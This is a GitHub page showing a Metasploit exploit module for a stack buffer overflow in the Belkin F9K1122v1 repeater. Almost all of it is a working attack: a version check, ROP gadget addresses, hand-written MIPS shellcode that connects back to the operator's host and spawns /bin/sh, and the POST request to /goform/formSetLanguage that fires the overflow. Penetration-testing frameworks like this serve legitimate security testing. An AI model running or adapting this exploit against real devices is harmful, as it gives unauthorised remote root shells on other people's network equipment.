Permalink
Switch branches/tags
Nothing to show
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
184 lines (160 sloc) 7.73 KB
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Belkin F9K1122v1 "formSetLanguage" Stack-Based Buffer Overflow',
'Description' => %q{
This module exploits an anonymous remote code execution vulnerability within the Belkin F9K1221v1 repeater.
The vulnerability is due to a failure to check the length of the HTTP POST argument 'webpage' before copying
it into a static stack based buffer of 100 bytes via sprintf() as a string based argument (%s).
},
'Author' =>
[
'b1ack0wl' # vuln discovery + exploit developer
],
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_MIPSBE,
'References' =>
[
['URL', 'https://www.exploit-db.com/exploits/40332/'] # Original PoC before adding process continuation
],
'Privileged' => true,
'Payload' =>
{
'BadChars' => "\x00"
},
'Targets' =>
[
[ 'Belkin F9K1122v1 - v1.00.30',
{
'Offset' => 103,
'Sleep' => 0x2aaf2c80,
'rop1' => 0x2aafc840, # move t9,s0; jalr t9; addiu a1,s1,4; beqz v0,0x2aafc88c; lw ra,36(sp); jr ra; addiu sp,sp,40
'rop2' => 0x2aaf9808, # addiu a0,sp,24; lw ra,52(sp); jr ra
'rop3' => 0x2aaf97fc # move t9,a0; sw v0,24(sp); jalr t9; addiu a0,sp,24
}
]
],
'DisclosureDate' => 'September 4 2016',
'DefaultTarget' => 0))
end
def check
begin
res = send_request_cgi({
'uri' => "/index2.asp",
'method' => 'GET'
})
if res and res.code == 200 and res.body =~ /F9K1122v1/ and res.body =~ /1\.00\.30 \(2015\.05\.19\)/
return Exploit::CheckCode::Vulnerable
end
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Unknown
end
return Exploit::CheckCode::Safe
end
def exploit
@my_target = target
check_code = check
unless check_code == Exploit::CheckCode::Vulnerable
fail_with(Failure::NoTarget, "#{peer} - Failed to access the vulnerable URL")
end
print_status("Exploiting #{@my_target.name}...")
print_status("Note: There's about a 10 second delay before commands start executing.")
lhost_lport = "#{datastore['LHOST']}:#{datastore['LPORT']}"
### Custom Shellcode ###
### Metasploit Note: Use 'shell_reverse_tcp' as the payload listener
## Create stack frame for shellcode
## The offset is arbitrary and -0x0504 was chosen by random.
shellcode = [0x27bdfafc].pack("N") # addiu sp, sp, -0x0504
## $t7 = 0x00404810 (PTR to _ftext; manually found on the stack)
## Used to call functions within webs.
shellcode << [0x8faf0698].pack("N") # lw t7, 1688(sp) (0x504+0x194)
## Call 0x00411300(str)
## This function takes the string "ip:addr" and connects back to it. It then returns the socket fd
shellcode << [0x3508CAF0].pack("N") # ori t0, t0, 0xCAF0
shellcode << [0x01e8c821].pack("N") # addu t9, t7, t0
shellcode << [0x3908CAF0].pack("N") # xori t0,t0, 0xCDF0
shellcode << [0x0320f809].pack("N") # jalr ra, t9
shellcode << [0x27a405ac].pack("N") # addiu a0, sp, 0x5ac # ptr to lhost:lport
## Store Socket fd onto stack and then load it into a0 for the dup2() loop
shellcode << [0xafa20104].pack("N") # sw v0, 0x0104(sp)
shellcode << [0x8fa40104].pack("N") # lw a0, 0x0104(sp)
## dup2(a0,a1) for 0,1,2
## Begin: 'addiu a1, a1, 0x1005'; 'addiu a1, a1, -0x1002' a1 == 3
## Delay slot: 'addiu a1,a1,-1'
## call dup2() @ 0x2AAD5EF0
## bne a1,t0, -7 instructions (t0 == 0)
shellcode << [0x25051005].pack("N") # addiu a1, t0, 0x1005
shellcode << [0x24a5effe].pack("N") # addiu a1, a1, -0x1002 # a1 = 3
shellcode << [0x3c192aad].pack("N") # lui t9, 0x2AAD
shellcode << [0x37395ef0].pack("N") # ori t9, t9, 0x5EF0
shellcode << [0x0320f809].pack("N") # jalr ra, t9 # dup2()
shellcode << [0x24a5ffff].pack("N") # addiu a1, a1, -1
shellcode << [0x14A0FFFD].pack("N") # bnez a1, -8 (-2 instructions)
shellcode << [0x3c104141].pack("N") # [nop] lui s0, 0x4141
## call system('/bin/sh') @ 0x2AAF0810
## a0 == /bin/sh @ 0x2AAFF3D0
shellcode << [0x3c042AAF].pack("N") # lui a0, 0x2AAF
shellcode << [0x3c192AAF].pack("N") # lui t9, 0x2AAF
shellcode << [0x37390810].pack("N") # ori t9, t9, 0x5FB0 # system
shellcode << [0x0320f809].pack("N") # jalr ra, t9
shellcode << [0x3484F3D0].pack("N") # ori a0, a0, 0xF3D0 # /bin/sh
## Move stack back
## Must be the same value used before, but negated (0x0504)
shellcode << [0x27bd0504].pack("N") # addiu sp, sp, 0x0504
### Process Continuation ###
## Zero out global vars "request_ready" and "total_connections"
## $t0 == 0x00000000
continutation = [0xaee83340].pack("N") # sw t0, 0x3340(s7) request_ready
continutation << [0xaee83360].pack("N") # sw t0, 0x3360(s7) total_connections
## Execute Shellcode
continutation << shellcode
## Make a0 = 3 ($s5 == 2); 3 == socket fd for web server
## Make a0 = 0x00000003 which is the socket fd for web server ($s5 = 0x00000002)
continutation << [0x02a0c020].pack("N") # move t8, s5
continutation << [0x2704effe].pack("N") # addiu a0, t8, -0x1002
continutation << [0x24841003].pack("N") # addiu a0, a0, 0x1003
## Copy Stack with an offset of 596(0x0254) into t8 because of NULL bytes.
## lw and sw use a WORD for the operand which means the offset used for lw/sw must be above 0x0101 in order to avoid NULL bytes.
continutation << [0x27b80254].pack("N") # addiu, t8, sp, 596 (0x0254)
## Load $t7 to 0x00404810 (PTR to _ftext; manually found on the stack via gdb)
continutation << [0x8faf0194].pack("N") # lw t7, 404(sp)
## adjust stack back to loop()
continutation << [0x271dfdec].pack("N") # addiu sp, t8, -0x0214
## return back to loop() at offset 0x0041158C (when GP is loaded and saved)
continutation << [0x3508CD7C].pack("N") # ori t0, t0, 0xCD7C
continutation << [0x01e8c821].pack("N") # addu t9, t7, t0
continutation << [0x0320f809].pack("N") # jalr ra, t9
continutation << [0x3908CD7C].pack("N") # xori t0,t0, 0xCD7C
## Attach "lhost:lport" for function 0x00411300()
continutation << lhost_lport
## Craft the overflow and trigger the vuln
overflow = rand_text_alpha_upper(@my_target['Offset']) # Padding
overflow << [@my_target['Sleep']].pack("N") # $s0
overflow << rand_text_alpha_upper(4) # $s1
overflow << [@my_target['rop1']].pack("N") # $ra -> rop1
overflow << rand_text_alpha_upper(9*4) # Padding
overflow << [@my_target['rop2']].pack("N") # $ra -> rop2
overflow << [0x2739e8b8].pack("N") * 13 # lame NOP sled
overflow << [@my_target['rop3']].pack("N") # $ra -> rop3 (points to lame NOP sled && this ptr decodes to the instruction 'slti t7, s5, -0x6804')
overflow << [0x2739e8b8].pack("N") * 7 # lame NOP sled v2
overflow << continutation
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => "/goform/formSetLanguage",
'vars_post' => {
'webpage' => overflow
}
})
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
end
end